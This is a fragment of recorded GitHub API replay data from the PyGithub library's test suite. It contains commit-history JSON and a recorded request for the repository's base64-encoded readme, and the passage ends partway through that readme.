jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"4f1780f427eba400cbc06897e69eda0ecdecd887","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4f1780f427eba400cbc06897e69eda0ecdecd887","html_url":"https://github.com/PyGithub/PyGithub/commit/4f1780f427eba400cbc06897e69eda0ecdecd887"}]},{"sha":"4f1780f427eba400cbc06897e69eda0ecdecd887","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-14T10:59:37Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-14T10:59:37Z"},"message":"Merge branch 'topic/FixPythonVersions' into develop","tree":{"sha":"db911b11ccf50b20273c8062a574aaba3fa6b7be","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/db911b11ccf50b20273c8062a574aaba3fa6b7be"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4f1780f427eba400cbc06897e69eda0ecdecd887","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4f1780f427eba400cbc06897e69eda0ecdecd887","html_url":"https://github.com/PyGithub/PyGithub/commit/4f1780f427eba400cbc06897e69eda0ecdecd887","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4f1780f427eba400cbc06897e69eda0ecdecd887/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18","html_url":"https://github.com/PyGithub/PyGithub/commit/03a256a4052cacea998d8205a83d5b5465f31e18"},{"sha":"28648a51a15e430b85d6fe8f2514e1cb06bc76b8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/28648a51a15e430b85d6fe8f2514e1cb06bc76b8","html_url":"https://github.com/PyGithub/PyGithub/commit/28648a51a15e430b85d6fe8f2514e1cb06bc76b8"}]},{"sha":"28648a51a15e430b85d6fe8f2514e1cb06bc76b8","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-12T09:25:15Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-12T09:25:15Z"},"message":"Fix for Python 2.5","tree":{"sha":"db911b11ccf50b20273c8062a574aaba3fa6b7be","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/db911b11ccf50b20273c8062a574aaba3fa6b7be"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/28648a51a15e430b85d6fe8f2514e1cb06bc76b8","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/28648a51a15e430b85d6fe8f2514e1cb06bc76b8","html_url":"https://github.com/PyGithub/PyGithub/commit/28648a51a15e430b85d6fe8f2514e1cb06bc76b8","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/28648a51a15e430b85d6fe8f2514e1cb06bc76b8/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"a39f421ca24bd7aae984f8703159c7e30798a121","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a39f421ca24bd7aae984f8703159c7e30798a121","html_url":"https://github.com/PyGithub/PyGithub/commit/a39f421ca24bd7aae984f8703159c7e30798a121"}]},{"sha":"a39f421ca24bd7aae984f8703159c7e30798a121","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-12T09:16:06Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-12T09:16:06Z"},"message":"Avoid confusion between github/ and Github.py on case-insensitive file systems (#143)","tree":{"sha":"b54edada88d20ca770ccaf2f209b7b3a5753a54f","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b54edada88d20ca770ccaf2f209b7b3a5753a54f"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a39f421ca24bd7aae984f8703159c7e30798a121","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a39f421ca24bd7aae984f8703159c7e30798a121","html_url":"https://github.com/PyGithub/PyGithub/commit/a39f421ca24bd7aae984f8703159c7e30798a121","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a39f421ca24bd7aae984f8703159c7e30798a121/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"86fe370b97b62548317cb35bc02ece3fabb7fa03","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/86fe370b97b62548317cb35bc02ece3fabb7fa03","html_url":"https://github.com/PyGithub/PyGithub/commit/86fe370b97b62548317cb35bc02ece3fabb7fa03"}]},{"sha":"86fe370b97b62548317cb35bc02ece3fabb7fa03","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:47:22Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:47:22Z"},"message":"Merge branch 'master' into develop","tree":{"sha":"463b765c51f71b1448ecfc92632cea699c363303","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/463b765c51f71b1448ecfc92632cea699c363303"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/86fe370b97b62548317cb35bc02ece3fabb7fa03","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/86fe370b97b62548317cb35bc02ece3fabb7fa03","html_url":"https://github.com/PyGithub/PyGithub/commit/86fe370b97b62548317cb35bc02ece3fabb7fa03","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/86fe370b97b62548317cb35bc02ece3fabb7fa03/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"fc491bfdb6935d98df983006c929f7962712576c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fc491bfdb6935d98df983006c929f7962712576c","html_url":"https://github.com/PyGithub/PyGithub/commit/fc491bfdb6935d98df983006c929f7962712576c"},{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18","html_url":"https://github.com/PyGithub/PyGithub/commit/03a256a4052cacea998d8205a83d5b5465f31e18"}]},{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:44:25Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:44:25Z"},"message":"Publish version 1.12.2","tree":{"sha":"710f92971992e7d33426921172fcb2527a7f608d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/710f92971992e7d33426921172fcb2527a7f608d"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/03a256a4052cacea998d8205a83d5b5465f31e18","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18","html_url":"https://github.com/PyGithub/PyGithub/commit/03a256a4052cacea998d8205a83d5b5465f31e18","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"9e6b086c2db5e4884484a04934f6f2e53e3f441b","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","html_url":"https://github.com/PyGithub/PyGithub/commit/9e6b086c2db5e4884484a04934f6f2e53e3f441b"}]},{"sha":"9e6b086c2db5e4884484a04934f6f2e53e3f441b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:35:50Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:35:50Z"},"message":"Remove a deprecation warning","tree":{"sha":"a8205550281bec9fde58bb7014df2a04c27b765b","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/a8205550281bec9fde58bb7014df2a04c27b765b"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","html_url":"https://github.com/PyGithub/PyGithub/commit/9e6b086c2db5e4884484a04934f6f2e53e3f441b","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0ddb34d987b5a03813fdfa2fac13c933834a4804","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","html_url":"https://github.com/PyGithub/PyGithub/commit/0ddb34d987b5a03813fdfa2fac13c933834a4804"}]},{"sha":"0ddb34d987b5a03813fdfa2fac13c933834a4804","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:32:10Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:32:10Z"},"message":"Fix decoding on Python3 (bytes instead of str) (Issue #142)","tree":{"sha":"e00c7a4c3cbadbe2c00c8bc14425b3dcc410f629","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e00c7a4c3cbadbe2c00c8bc14425b3dcc410f629"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","html_url":"https://github.com/PyGithub/PyGithub/commit/0ddb34d987b5a03813fdfa2fac13c933834a4804","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"67bdf8c0be32dc195a4545bf90100a1b55eebf45","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/67bdf8c0be32dc195a4545bf90100a1b55eebf45","html_url":"https://github.com/PyGithub/PyGithub/commit/67bdf8c0be32dc195a4545bf90100a1b55eebf45"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetContents.txt0000644000175100001660000014442014756101563024237 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/readme {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '10787'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","sha":"5628799a7d517a4aaa0c1a7004d07569cd154df0","path":"ReadMe.md","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/ReadMe.md","html":"https://github.com/PyGithub/PyGithub/blob/master/ReadMe.md","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5628799a7d517a4aaa0c1a7004d07569cd154df0"},"content":"VGhpcyBpcyBhIFB5dGhvbiBsaWJyYXJ5IHRvIGFjY2VzcyB0aGUgW0dpdGh1\nYiBBUEkgdjNdKGh0dHA6Ly9kZXZlbG9wZXIuZ2l0aHViLmNvbS92MykuCgpX\naXRoIGl0LCB5b3UgY2FuIG1hbmFnZSB5b3VyIFtHaXRodWJdKGh0dHA6Ly9n\naXRodWIuY29tKSByZXNvdXJjZXMgKHJlcG9zaXRvcmllcywgdXNlciBwcm9m\naWxlcywgb3JnYW5pemF0aW9ucywgZXRjLikgZnJvbSBQeXRob24gc2NyaXB0\ncy4KCkl0IGNvdmVycyB0aGUgKipmdWxsKiogQVBJLCBhbmQgYWxsIG1ldGhv\nZHMgYXJlIHRlc3RlZCBhZ2FpbnN0IHRoZSByZWFsIEdpdGh1YiBzaXRlLgoK\nU2hvdWxkIHlvdSBoYXZlIGFueSBxdWVzdGlvbiwgb3IgaWYgeW91IGZpbmQg\nYSBidWcsIG9yIGlmIHRoZXJlIGlzIHNvbWV0aGluZyB5b3UgY2FuIGRvIHdp\ndGggdGhlIEFQSSBidXQgbm90IHdpdGggUHlHaXRodWIsIHBsZWFzZSBbb3Bl\nbiBhbiBpc3N1ZV0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0\naHViL2lzc3VlcykuCgpQeUdpdGh1YiBpcyBzdGFibGUuIEkgd2lsbCBtYWlu\ndGFpbiBpdCB1cCB0byBkYXRlIHdpdGggdGhlIEFQSSwgYW5kIGZpeCBidWdz\nIGlmIGFueSwgYnV0IEkgZG9uJ3QgcGxhbiBuZXcgaGVhdnkgZGV2ZWxvcG1l\nbnRzLgoKRG93bmxvYWQgYW5kIGluc3RhbGwKPT09PT09PT09PT09PT09PT09\nPT0KClRoaXMgcGFja2FnZSBpcyBpbiB0aGUgW1B5dGhvbiBQYWNrYWdlIElu\nZGV4XShodHRwOi8vcHlwaS5weXRob24ub3JnL3B5cGkvUHlHaXRodWIpLCBz\nbyBgZWFzeV9pbnN0YWxsIFB5R2l0aHViYCBvciBgcGlwIGluc3RhbGwgUHlH\naXRodWJgIHNob3VsZCBiZSBlbm91Z2guCllvdSBjYW4gYWxzbyBjbG9uZSBp\ndCBvbiBbR2l0aHViXShodHRwOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdp\ndGh1YikuCgpUdXRvcmlhbAo9PT09PT09PQoKRmlyc3QgY3JlYXRlIGEgR2lo\ndHViIGluc3RhbmNlOgoKICAgIGZyb20gZ2l0aHViIGltcG9ydCBHaXRodWIK\nCiAgICBnID0gR2l0aHViKCAidXNlciIsICJwYXNzd29yZCIgKQoKVGhlbiBw\nbGF5IHdpdGggeW91ciBHaXRodWIgb2JqZWN0czoKCiAgICBmb3IgcmVwbyBp\nbiBnLmdldF91c2VyKCkuZ2V0X3JlcG9zKCk6CiAgICAgICAgcHJpbnQgcmVw\nby5uYW1lCiAgICAgICAgcmVwby5lZGl0KCBoYXNfd2lraSA9IEZhbHNlICkK\nCllvdSBjYW4gYWxzbyBjcmVhdGUgYSBHaXRodWIgaW5zdGFuY2Ugd2l0aCBh\nbiBPQXV0aCB0b2tlbjoKCiAgICBnID0gR2l0aHViKCB0b2tlbiApCgpPciB3\naXRob3V0IGF1dGhlbnRpY2F0aW9uOgoKICAgIGcgPSBHaXRodWIoKQoKTGlj\nZW5zaW5nCj09PT09PT09PQoKUHlHaXRodWIgaXMgZGlzdHJpYnV0ZWQgdW5k\nZXIgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5jZS4KU2Vl\nIGZpbGVzIENPUFlJTkcgYW5kIENPUFlJTkcuTEVTU0VSLCBhcyByZXF1ZXN0\nZWQgYnkgW0dOVV0oaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC1o\nb3d0by5odG1sKS4KClByb2plY3RzIHVzaW5nIFB5R2l0aHViCj09PT09PT09\nPT09PT09PT09PT09PT09CgooW09wZW4gYW4gaXNzdWVdKGh0dHBzOi8vZ2l0\naHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXMpIGlmIHlvdSB3YW50\nIHRvIGJlIGxpc3RlZCBoZXJlLCBJJ2xsIGJlIGdsYWQgdG8gYWRkIHlvdXIg\ncHJvamVjdCkKCiogW1VwdmVydGVyXShodHRwczovL3VwdmVydGVyLmNvbSkg\naXMgYSB3ZWItYmFzZWQgc2NoZW1hdGljIGNhcHR1cmUgYW5kIFBDQiBsYXlv\ndXQgdG9vbCBmb3IgcGVvcGxlIHdobyBkZXNpZ24gZWxlY3Ryb25pY3MuIERl\nc2lnbmVycyBjYW4gYXR0YWNoIGEgR2l0aHViIHByb2plY3QgdG8gYW4gVXB2\nZXJ0ZXIgcHJvamVjdC4KKiBbVHJhdGlodWJpc10oaHR0cDovL3B5cGkucHl0\naG9uLm9yZy9weXBpL3RyYXRpaHViaXMvKSBjb252ZXJ0cyBUcmFjIHRpY2tl\ndHMgdG8gR2l0aHViIGlzc3VlcwoKSGlzdG9yeQo9PT09PT09CgpbVmVyc2lv\nbiAxLjVdKGh0dHBzO